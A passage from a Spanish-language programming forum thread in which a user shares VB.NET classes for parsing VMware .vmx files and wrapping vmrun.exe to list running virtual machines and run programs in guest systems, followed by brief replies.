  2. ''' Represents a shared folder of a VMWare's virtual machine.
  3. ''' </summary>
  4. Public NotInheritable Class VmSharedFolderInfo
  5.  
  6. #Region " Properties "
  7.  
  8.    ''' <summary>
  9.    ''' Gets or sets the share name.
  10.    ''' </summary>
  11.    Public Property Name As String
  12.  
  13.    ''' <summary>
  14.    ''' Gets or sets the shared directory on host operating system.
  15.    ''' </summary>
  16.    Public Property HostDirectory As DirectoryInfo
  17.  
  18.    ''' <summary>
  19.    ''' Gets or sets a value that determine whether this shared folder is enabled.
  20.    ''' </summary>
  21.    Public Property Enabled As Boolean
  22.  
  23.    ''' <summary>
  24.    ''' Gets or sets a value that determine whether this shared folder allows read access.
  25.    ''' </summary>
  26.    Public Property ReadAccess As Boolean
  27.  
  28.    ''' <summary>
  29.    ''' Gets or sets a value that determine whether this shared folder allows write access.
  30.    ''' </summary>
  31.    Public Property WriteAccess As Boolean
  32.  
  33.    ''' <summary>
  34.    ''' Gets or sets the expiration time of this shared folder.
  35.    ''' </summary>
  36.    Public Property Expiration As String
  37.  
  38. #End Region
  39.  
  40. #Region " Constructors "
  41.  
  42.    ''' <summary>
  43.    ''' Initializes a new instance of the <see cref="VmSharedFolderInfo"/> class.
  44.    ''' </summary>
  45.    Public Sub New()
  46.    End Sub
  47.  
  48. #End Region
  49.  
  50. End Class

VMWareVirtualMachine.vb
Código
  1. ''' <summary>
  2. ''' Represents a VMWare Virtual Machine.
  3. ''' </summary>
  4. Public NotInheritable Class VMWareVirtualMachine
  5.  
  6. #Region " Properties "
  7.  
  8.    ''' <summary>
  9.    ''' Gets .vmx file of this VM.
  10.    ''' </summary>
  11.    Public ReadOnly Property VmxFile As FileInfo
  12.  
  13.    ''' <summary>
  14.    ''' Gets or sets the username and password of the running user-account in the guest operating system of this VM.
  15.    ''' <para></para>
  16.    ''' The credential is required to perform some I/O operations with VMWare's vmrun.exe program.
  17.    ''' So you must set this credential before using vmrun.exe.
  18.    ''' </summary>
  19.    Public Property GuestOsCredential As GuestOsCredential
  20.  
  21.    ''' <summary>
  22.    ''' Gets a value that determine whether this VM is a shared VM.
  23.    ''' </summary>
  24.    Public ReadOnly Property IsSharedVm As Boolean
  25.  
  26.    ''' <summary>
  27.    ''' Gets the display name of this VM.
  28.    ''' </summary>
  29.    Public ReadOnly Property DisplayName As String
  30.        Get
  31.            Return Me.displayNameB
  32.        End Get
  33.    End Property
  34.    ''' <summary>
  35.    ''' ( Backing Fields )
  36.    ''' <para></para>
  37.    ''' Gets the display name of this VM.
  38.    ''' </summary>
  39.    Private displayNameB As String
  40.  
  41.    ''' <summary>
  42.    ''' Gets the version of the guest operating system of this VM.
  43.    ''' </summary>
  44.    Public ReadOnly Property OsVersion As String
  45.        Get
  46.            Return Me.osVersionB
  47.        End Get
  48.    End Property
  49.    ''' <summary>
  50.    ''' ( Backing Fields )
  51.    ''' <para></para>
  52.    ''' Gets the version of the guest operating system of this VM.
  53.    ''' </summary>
  54.    Private osVersionB As String
  55.  
  56.    ''' <summary>
  57.    ''' Gets the firmware type of this VM. It can be: BIOS, or UEFI.
  58.    ''' </summary>
  59.    Public ReadOnly Property Firmware As String
  60.        Get
  61.            Return Me.firmwareB
  62.        End Get
  63.    End Property
  64.    ''' <summary>
  65.    ''' ( Backing Fields )
  66.    ''' <para></para>
  67.    ''' Gets the firmware type of this VM. It can be: BIOS, or UEFI.
  68.    ''' </summary>
  69.    Private firmwareB As String
  70.  
  71.    ''' <summary>
  72.    ''' Gets a value that determine whether secureboot is enabled for UEFI firmware mode.
  73.    ''' </summary>
  74.    Public ReadOnly Property SecureBootEnabled As Boolean
  75.        Get
  76.            Return Me.secureBootEnabledB
  77.        End Get
  78.    End Property
  79.    ''' <summary>
  80.    ''' ( Backing Fields )
  81.    ''' <para></para>
  82.    ''' Gets a value that determine whether secureboot is enabled for UEFI firmware mode.
  83.    ''' </summary>
  84.    Private secureBootEnabledB As Boolean
  85.  
  86.    ''' <summary>
  87.    ''' Gets the hardware version of this VM.
  88.    ''' </summary>
  89.    ''' <remarks>
  90.    ''' See for more info about virtual machine hardware versions: <see href="https://kb.vmware.com/s/article/1003746"/>
  91.    ''' </remarks>
  92.    Public ReadOnly Property VmHardwareVersion As Integer
  93.        Get
  94.            Return Me.vmHardwareVersionB
  95.        End Get
  96.    End Property
  97.    ''' <summary>
  98.    ''' ( Backing Fields )
  99.    ''' <para></para>
  100.    ''' Gets the hardware version of this VM.
  101.    ''' </summary>
  102.    Private vmHardwareVersionB As Integer
  103.  
  104.    ''' <summary>
  105.    ''' Gets the total memory size of this VM, in megabytes.
  106.    ''' </summary>
  107.    Public ReadOnly Property MemorySize As Integer
  108.        Get
  109.            Return Me.memorySizeB
  110.        End Get
  111.    End Property
  112.    ''' <summary>
  113.    ''' ( Backing Fields )
  114.    ''' <para></para>
  115.    ''' Gets the total memory size of this VM, in megabytes.
  116.    ''' </summary>
  117.    Private memorySizeB As Integer
  118.  
  119.    ''' <summary>
  120.    ''' Gets the total graphics memory size of this VM, in megabytes.
  121.    ''' </summary>
  122.    Public ReadOnly Property GraphicsMemorySize As Integer
  123.        Get
  124.            Return Me.graphicsMemorySizeB
  125.        End Get
  126.    End Property
  127.    ''' <summary>
  128.    ''' ( Backing Fields )
  129.    ''' <para></para>
  130.    ''' Gets the total graphics memory size of this VM, in megabytes.
  131.    ''' </summary>
  132.    Private graphicsMemorySizeB As Integer
  133.  
  134.    ''' <summary>
  135.    ''' Gets a value that determine whether 3D graphics hardware acceleration is enabled in this VM.
  136.    ''' </summary>
  137.    Public ReadOnly Property GraphicsHardwareAccelerationEnabled As Boolean
  138.        Get
  139.            Return Me.graphicsHardwareAccelerationEnabledB
  140.        End Get
  141.    End Property
  142.    ''' <summary>
  143.    ''' ( Backing Fields )
  144.    ''' <para></para>
  145.    ''' Gets a value that determine whether 3D graphics hardware acceleration is enabled in this VM.
  146.    ''' </summary>
  147.    Private graphicsHardwareAccelerationEnabledB As Boolean
  148.  
  149.    ''' <summary>
  150.    ''' Gets the amount of processor cores of this VM.
  151.    ''' </summary>
  152.    Public ReadOnly Property TotalProcessorCores As Integer
  153.        Get
  154.            Return Me.totalProcessorCoresB
  155.        End Get
  156.    End Property
  157.    ''' <summary>
  158.    ''' ( Backing Fields )
  159.    ''' <para></para>
  160.    ''' Gets the amount of processor cores of this VM.
  161.    ''' </summary>
  162.    Private totalProcessorCoresB As Integer
  163.  
  164.    ''' <summary>
  165.    ''' Gets the amount of cores per processor of this VM.
  166.    ''' </summary>
  167.    Public ReadOnly Property CoresPerProcessor As Integer
  168.        Get
  169.            Return Me.coresPerProcessorB
  170.        End Get
  171.    End Property
  172.    ''' <summary>
  173.    ''' ( Backing Fields )
  174.    ''' <para></para>
  175.    ''' Gets the amount of cores per processor of this VM.
  176.    ''' </summary>
  177.    Private coresPerProcessorB As Integer
  178.  
  179.    ''' <summary>
  180.    ''' Gets the amount of processors of this VM.
  181.    ''' <para></para>
  182.    ''' The resulting value is the division between <see cref="VMWareVirtualMachine.TotalProcessorCores"/> \ <see cref="VMWareVirtualMachine.CoresPerProcessor"/>.
  183.    ''' </summary>
  184.    Public ReadOnly Property ProcessorCount As Integer
  185.        Get
  186.            Return (Me.TotalProcessorCores \ Me.CoresPerProcessor)
  187.        End Get
  188.    End Property
  189.  
  190.    ''' <summary>
  191.    ''' Gets the shared folders of this VM.
  192.    ''' </summary>
  193.    Public ReadOnly Property SharedFolders As ReadOnlyCollection(Of VmSharedFolderInfo)
  194.        Get
  195.            Return Me.sharedFoldersB
  196.        End Get
  197.    End Property
  198.    ''' <summary>
  199.    ''' ( Backing Fields )
  200.    ''' <para></para>
  201.    ''' Gets the shared folders of this VM.
  202.    ''' </summary>
  203.    Private sharedFoldersB As ReadOnlyCollection(Of VmSharedFolderInfo)
  204.  
  205.  
  206. #End Region
  207.  
  208. #Region " Constructors "
  209.  
  210.    ''' <summary>
  211.    ''' Prevents a default instance of the <see cref="VMWareVirtualMachine"/> class from being created.
  212.    ''' </summary>
  213.    Private Sub New()
  214.    End Sub
  215.  
  216.    ''' <summary>
  217.    ''' Initializes a new instance of the <see cref="VMWareVirtualMachine"/> class.
  218.    ''' </summary>
  219.    ''' <param name="vmxFilePath">
  220.    ''' The full path to the .vmx file.
  221.    ''' </param>
  222.    '''
  223.    ''' <param name="isSharedVm">
  224.    ''' A value that determine whether the VM is a shared VM.
  225.    ''' </param>
  226.    Public Sub New(ByVal vmxFilePath As String, ByVal isSharedVm As Boolean)
  227.        Me.VmxFile = New FileInfo(vmxFilePath)
  228.        Me.IsSharedVm = isSharedVm
  229.        Me.GuestOsCredential = New GuestOsCredential()
  230.  
  231.        Me.Refresh()
  232.    End Sub
  233.  
  234. #End Region
  235.  
  236. #Region " Public Methods "
  237.  
  238.    ''' <summary>
  239.    ''' Refresh the state (the properties) of this <see cref="VMWareVirtualMachine"/>.
  240.    ''' </summary>
  241.    ''' <exception cref="FileNotFoundException">
  242.    ''' .vmx file not found.
  243.    ''' </exception>
  244.    Public Sub Refresh()
  245.        If Not (Me.VmxFile.Exists) Then
  246.            Throw New FileNotFoundException(".vmx file not found.", Me.VmxFile.FullName)
  247.        End If
  248.  
  249.        Me.VmxFile.Refresh()
  250.  
  251.        Dim sharedFoldersDict As New Dictionary(Of String, VmSharedFolderInfo)
  252.  
  253.        Using sr As StreamReader = Me.VmxFile.OpenText()
  254.  
  255.            Dim line As String
  256.            Do Until sr.EndOfStream
  257.                line = sr.ReadLine().Trim()
  258.  
  259.                Select Case True
  260.  
  261.                    Case line.ToLower().StartsWith("displayname")
  262.                        Me.displayNameB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  263.  
  264.                    Case line.ToLower().StartsWith("firmware")
  265.                        Me.firmwareB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  266.  
  267.                    Case line.ToLower().StartsWith("guestos")
  268.                        Me.osVersionB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  269.  
  270.                    Case line.ToLower().StartsWith("memsize")
  271.                        Me.memorySizeB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  272.  
  273.                    Case line.ToLower().StartsWith("numvcpus")
  274.                        Me.totalProcessorCoresB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  275.  
  276.                    Case line.ToLower().StartsWith("cpuid.corespersocket")
  277.                        Me.coresPerProcessorB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  278.  
  279.                    Case line.ToLower().StartsWith("svga.graphicsmemorykb")
  280.                        Me.graphicsMemorySizeB = (CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})) \ 1000)
  281.  
  282.                    Case line.ToLower().StartsWith("virtualhw.version")
  283.                        Me.vmHardwareVersionB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  284.  
  285.                    Case line.ToLower().StartsWith("uefi.secureboot.enabled")
  286.                        Me.secureBootEnabledB = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  287.  
  288.                    Case line.ToLower().StartsWith("mks.enable3d")
  289.                        Me.graphicsHardwareAccelerationEnabledB = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  290.  
  291.                    Case line.ToLower() Like "sharedfolder#*.?*"
  292.                        Me.ParseSharedFolderLine(line, sharedFoldersDict)
  293.  
  294.                End Select
  295.  
  296.            Loop
  297.  
  298.        End Using
  299.  
  300.        Me.sharedFoldersB = New ReadOnlyCollection(Of VmSharedFolderInfo)(sharedFoldersDict.Values.ToArray())
  301.        sharedFoldersDict.Clear()
  302.    End Sub
  303.  
  304. #End Region
  305.  
  306. #Region " Private Methods "
  307.  
  308.    ''' <summary>
  309.    ''' Parses a line of the .vmx file that contains a shared folder field and value.
  310.    ''' </summary>
  311.    ''' <param name="line">
  312.    ''' The line to parse.
  313.    ''' </param>
  314.    '''
  315.    ''' <param name="refSharedFoldersDict">
  316.    ''' A <see cref="Dictionary(Of String, SharedFolderInfo)"/> that will be used to set the corresponding <see cref="VmSharedFolderInfo"/> member.
  317.    ''' </param>
  318.    Private Sub ParseSharedFolderLine(ByVal line As String, ByRef refSharedFoldersDict As Dictionary(Of String, VmSharedFolderInfo))
  319.  
  320.        Dim key As String = line.ToLower().Substring(0, line.IndexOf("."c))
  321.        If Not refSharedFoldersDict.ContainsKey(key) Then
  322.            refSharedFoldersDict.Add(key, New VmSharedFolderInfo())
  323.        End If
  324.  
  325.        Select Case True
  326.  
  327.            Case line.ToLower() Like "sharedfolder#*.enabled*"
  328.                refSharedFoldersDict(key).Enabled = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  329.  
  330.            Case line.ToLower() Like "sharedfolder#*.expiration*"
  331.                refSharedFoldersDict(key).Expiration = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  332.  
  333.            Case line.ToLower() Like "sharedfolder#*.guestname*"
  334.                refSharedFoldersDict(key).Name = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  335.  
  336.            Case line.ToLower() Like "sharedfolder#*.hostpath*"
  337.                refSharedFoldersDict(key).HostDirectory = New DirectoryInfo(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  338.  
  339.            Case line.ToLower() Like "sharedfolder#*.readaccess*"
  340.                refSharedFoldersDict(key).ReadAccess = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  341.  
  342.            Case line.ToLower() Like "sharedfolder#*.writeaccess*"
  343.                refSharedFoldersDict(key).WriteAccess = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  344.  
  345.        End Select
  346.  
  347.    End Sub
  348.  
  349. #End Region
  350.  
  351. End Class

VMRunWrapper.vb

El código es demasiado largo como para poder insertarlo en este post, así que les dejo un enlace a pastebin...

https://pastebin.com/AWieMiSG

Código mejorado con funciones asincrónicas:
https://pastebin.com/EXS0MQRR

Un pequeño fallo de formato de sintaxis ha sido corregido en el método "InstallVmWareTools":



Un ejemplo de uso cualquiera:

Código
  1. '***********************************************************************************************************************************
  2. '
  3. 'This is a code example that demonstrates how to get the running virtual machines, then run a program on each guest operating system.
  4. '
  5. '***********************************************************************************************************************************
  6.  
  7. Private vmRun As VmRunWrapper
  8.  
  9. Private Async Sub Test()
  10.  
  11.    Me.vmRun = New VmRunWrapper("C:\Program Files (x86)\VMWare\VMware VIX\vmrun.exe")
  12.  
  13.    Dim vmCount As Integer = Await Me.vmRun.GetRunningVmCountAsync()
  14.    If (vmCount > 0) Then
  15.  
  16.        Dim vms As ReadOnlyCollection(Of VMWareVirtualMachine) = Await Me.vmRun.GetRunningVmsAsync()
  17.  
  18.        For Each vm As VMWareVirtualMachine In vms
  19.  
  20.            ' Check whether VMWare-Tools are installed in the VM.
  21.            ' The VmWare-Tools are required by some of the functionalities of vmrun.exe program.
  22.            Dim isVMWareToolsInstalled As Boolean = Await Me.vmRun.IsVmWareToolsInstalledAsync(vm)
  23.            Console.WriteLine("VM Name: {0}; IsVMWareToolsInstalled: {1}'", vm.DisplayName, isVMWareToolsInstalled)
  24.  
  25.            If Not isVMWareToolsInstalled Then
  26.                Me.vmRun.InstallVmWareTools(vm)
  27.                Continue For
  28.            End If
  29.  
  30.            ' A valid guest username and password (if any) is required in order to use some of the functionalities of vmrun.exe program.
  31.            vm.GuestOsCredential.Username = "guest username"
  32.            vm.GuestOsCredential.Password = "guest password"
  33.  
  34.            Try
  35.                ' Run a random program on the guest operating system.
  36.                Me.vmRun.ProcessRun(vm, "C:\program.exe", VmRunProgramFlags.NoWait Or VmRunProgramFlags.ActiveWindow Or VmRunProgramFlags.Interactive, "")
  37.  
  38.            Catch ex As VmRunException
  39.                Throw
  40.  
  41.            Catch ex As Exception
  42.                Throw
  43.  
  44.            End Try
  45.  
  46.        Next
  47.  
  48.    End If
  49.  
  50. End Sub
« Última modificación: 9 Mayo 2018, 07:09 am por Eleкtro » En línea



enipx

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #528 en: 8 Mayo 2018, 16:19 pm »

Hello, @Electro Actually i saw your works and i was very impressed and i want you to take part in a project based on vb.net and c#, It will be a pleasure if you give me maybe your Whatsapp or Skype contact so we can talk more, I have private message you can check your inbox
En línea

Serapis
Colaborador
***
Desconectado Desconectado

Mensajes: 3.391


Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #529 en: 9 Mayo 2018, 01:47 am »

¿Cómo interoperar entre el sistema operativo huésped de una máquina virtual de VMWare, y el sistema operativo anfitrión?.
...
Como único inconveniente debo aclarar que este sistema no soporta máquinas virtuales compartidas (esas que podemos colocar en el directorio del usuario público como recurso compartido de red), y esta limitación es simplemente por pura ignorancia, ya que no he logrado averiguar la sintaxis correcta de vmrun para indicarle que el host es LOCALHOST, siempre que lo intento (ej. vmrun.exe -T ws-shared -h LOCALHOST ... ) el programa me dice que no ha logrado conectar con el servidor xD, así que si alguien sabe cual es la sintaxis le agradecería que me lo dijese para poder adaptar y mejorar este código.
...
Una búsqeuda rápida me ofrece este pdf, que puede servirte... (no lo he descargado).
https://www.vmware.com/support/developer/vix-api/vix170_vmrun_command.pdf
En línea

Páginas: 1 ... 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [53] 54 55 56 57 58 59 60 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines